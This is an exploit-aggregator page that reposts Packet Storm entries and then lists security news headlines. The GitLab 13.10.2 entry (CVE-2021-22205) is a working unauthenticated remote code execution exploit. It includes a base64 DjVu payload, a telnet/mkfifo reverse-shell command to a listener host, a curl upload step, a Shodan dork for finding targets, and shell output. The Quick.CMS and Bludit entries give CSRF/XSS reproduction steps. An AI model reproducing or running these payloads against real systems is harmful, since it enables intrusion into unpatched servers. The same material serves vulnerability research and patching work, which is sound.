Exploit Collector
Quick.CMS 6.7 Cross Site Request Forgery / Cross Site Scripting

https://4.bp.blogspot.com/-f53oTn8LDZ0/WWlvMw9CK1I/AAAAAAAAIMU/jEtmPtbvTXsSkP0BJUzx6KZQIUlovIO9gCLcBGAs/s1600/h20.png
Quick.CMS version 6.7 suffers from a cross site scripting vulnerability that can allow for cross site request forgery attacks.

MD5 | 935c82e5735c531924eaba362cb28499

Download
# Exploit Title: Quick.CMS 6.7 - Cross-site request forgery (CSRF) to
Cross-site Scripting (XSS) (Authenticated)
# Date: 2021-04-21
# Exploit Author: Rahad Chowdhury
# Vendor Homepage: https://opensolution.org/
# Software Link:
https://opensolution.org/download/home.html?sFile=Quick.Cms_v6.7-en.zip
# Version: 6.7
# Tested on: Windows 8.1, Kali Linux, Burp Suite

Steps to Reproduce:
Steps to Reproduce:

1. At first login your panel
2. then click the "Sliders" menu to "New Slider"
3. now intercept with the burp suite and save a new slider
4. Then use XSS payload
in sDescription value.
5. Now Generate a CSRF POC
value="test">

Source:packetstormsecurity.com

Exploit Collector
GitLab 13.10.2 Remote Code Execution

https://1.bp.blogspot.com/-9u0QXe9ybeo/WWlvU_DnejI/AAAAAAAAIN0/BUl-HrIsuwE3sKywG67Nuv_wLRABID6oQCLcBGAs/s1600/h45.png
GitLab version 13.10.2 remote code execution exploit that provides a reverse shell.

MD5 | a203e85e39e4798bc3ada54cb3cc7271

Download
# Exploit Title: GitLab 13.10.2 - Remote Code Execution (RCE) (Unauthenticated)
# Shodan Dork: https://www.shodan.io/search?query=title%3A%22GitLab%22+%2B%22Server%3A+nginx%22
# Date: 11/01/2021
# Exploit Author: Jacob Baines
# Vendor Homepage: https://about.gitlab.com/
# Software Link: https://gitlab.com/gitlab-org/gitlab
# Version: GitLab Community Edition and Enterprise Edition before 13.10.3, 13.9.6, and 13.8.8
# Tested on: GitLab Community Edition 13.10.2 and 13.10.1 (Ubuntu)
# CVE : CVE-2021-22205
# Vendor Advisory: https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/
# Root Cause Analysis: https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis?referrer=activityFeed

Code execution is the result of GitLab allowing remote unauthenticated attackers to provide DjVu files to ExifTool (see: CVE-2021-22204). As such, exploitation of GitLab takes two steps. First generating the payload and then sending it.

1. Generating the payload. This generates a DjVu image named lol.jpg that will trigger a reverse shell to 10.0.0.3 port 1270.

echo -e
"QVQmVEZPUk0AAAOvREpWTURJUk0AAAAugQACAAAARgAAAKz//96/mSAhyJFO6wwHH9LaiOhr5kQPLHEC7knTbpW9osMiP0ZPUk0AAABeREpWVUlORk8AAAAKAAgACBgAZAAWAElOQ0wAAAAPc2hhcmVkX2Fubm8uaWZmAEJHNDQAAAARAEoBAgAIAAiK5uGxN9l/KokAQkc0NAAAAAQBD/mfQkc0NAAAAAICCkZPUk0AAAMHREpWSUFOVGEAAAFQKG1ldGFkYXRhCgkoQ29weXJpZ2h0ICJcCiIgLiBxeHs="
| base64 -d > lol.jpg
echo -n 'TF=$(mktemp -u);mkfifo $TF && telnet 10.0.0.3 1270 0<$tf$TF' >> lol.jpg
echo -n
"fSAuIFwKIiBiICIpICkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCg=="
| base64 -d >> lol.jpg

2. Sending the payload. Any random endpoint will do.

curl -v -F 'file=@lol.jpg' http://10.0.0.7/$(openssl rand -hex 8)

2a. Sample Output from the reverse shell:

$ nc -lnvp 1270
Listening on [0.0.0.0] (family 0, port 1270)
Connection from [10.0.0.7] port 1270 [tcp/*] accepted (family 2, sport
34836)
whoami
git
id
uid=998(git) gid=998(git) groups=998(git)

Source:packetstormsecurity.com

Exploit Collector
Bludit 3.13.1 Cross Site Scripting

https://3.bp.blogspot.com/-SgyDIXUTMbc/WWlu_miSAcI/AAAAAAAAIKE/fKFdSswhFNIqExJ_09QJseTEI_nz_ynRACLcBGAs/s1600/h119.png
Bludit version 3.13.1 suffers from a cross site scripting vulnerability.

MD5 | 4d0ca46cfd28793816da307e829df8fc

Download
# Exploit Title: Bludit 3.13.1 - 'username' Cross Site Scripting (XSS)
# Date: 19/10/2021
# Exploit Author: Vasu (tamilan_mkv)
# Vendor Homepage: https://www.bludit.com
# Software Link: https://www.bludit.com/releases/bludit-3-13-1.zip
# Version: bludit-3-13-1
# Tested on: kali linux
# CVE : CVE-2021-35323

### Steps to reproduce

1. Open login page http://localhost:800/admin/login;
2. Enter the username place ``admin">x ``and enter the password
3. Trigger the malicious javascript code


Source:packetstormsecurity.com

The tale of CVE-2021–34479 (VSCode XSS)
https://medium.com/techiepedia/the-tale-of-cve-2021-34479-vscode-xss-b336ba6cf3d6?source=rss------bug_bounty-5

This April, I finally decided to take some time to study the Electron framework and the security considerations around it. After learning…Continue reading on Techiepedia » (https://medium.com/techiepedia/the-tale-of-cve-2021-34479-vscode-xss-b336ba6cf3d6?source=rss------bug_bounty-5)

Ffuf TryHackMe Part-2
https://mukibas37.medium.com/ffuf-tryhackme-part-2-df819e663d02?source=rss------bug_bounty-5

WriteupContinue reading on Medium » (https://mukibas37.medium.com/ffuf-tryhackme-part-2-df819e663d02?source=rss------bug_bounty-5)

Dark Reading: Attacks/Breaches
Belarus Linked to Big European Disinformation Campaign

EU officials and others previously had blamed Russia's intelligence operations for the so-called Ghostwriter campaign.

Dark Reading: Attacks/Breaches
How to Navigate the Mitigation of Deepfakes

Deepfakes are already several steps ahead of the technology that can detect and warn us about them.

Dark Reading: Attacks/Breaches
Is XDR Overhyped?

Security experts weigh in on the value and pitfalls of extended detection and response (XDR), offering consideration and advice on this growing new category.

Dark Reading: Attacks/Breaches
5 Things ML Teams Should Know About Privacy and the GDPR

Machine learning delivers plenty of benefits. But as the emerging technology gets applied more broadly, be careful about how you handle all the data used in the process.

Ffuf TryHackMe Part-2

WriteupContinue reading on Medium »
Read more...

Hacking on Medium
how to protect your phone from hackers | how to save your phone from hackers | by Allaboutsubha

how to protect your phone from hackers | how to save your phone from hackers | by Allaboutsubha

Continue reading on Medium »

Hacking on Medium
My experience with the eCPPT Exam

https://cdn-images-1.medium.com/max/712/1*TqRkgtjrOLck18WlSGIjTw.png
Important: This is my personal experience and review for the eCPPT exam from eLearnSecurity. If you like to check more information about…

Continue reading on Medium »

Hacking on Medium
EE.UU., Reino Unido y Australia advierten sobre piratas informáticos iraníes que explotan fallas de…

https://cdn-images-1.medium.com/max/1515/0*060ZSwjunfut_Z97
PUBLICADO EN 17 NOVIEMBRE, 2021 POR EHACKING

Continue reading on Medium »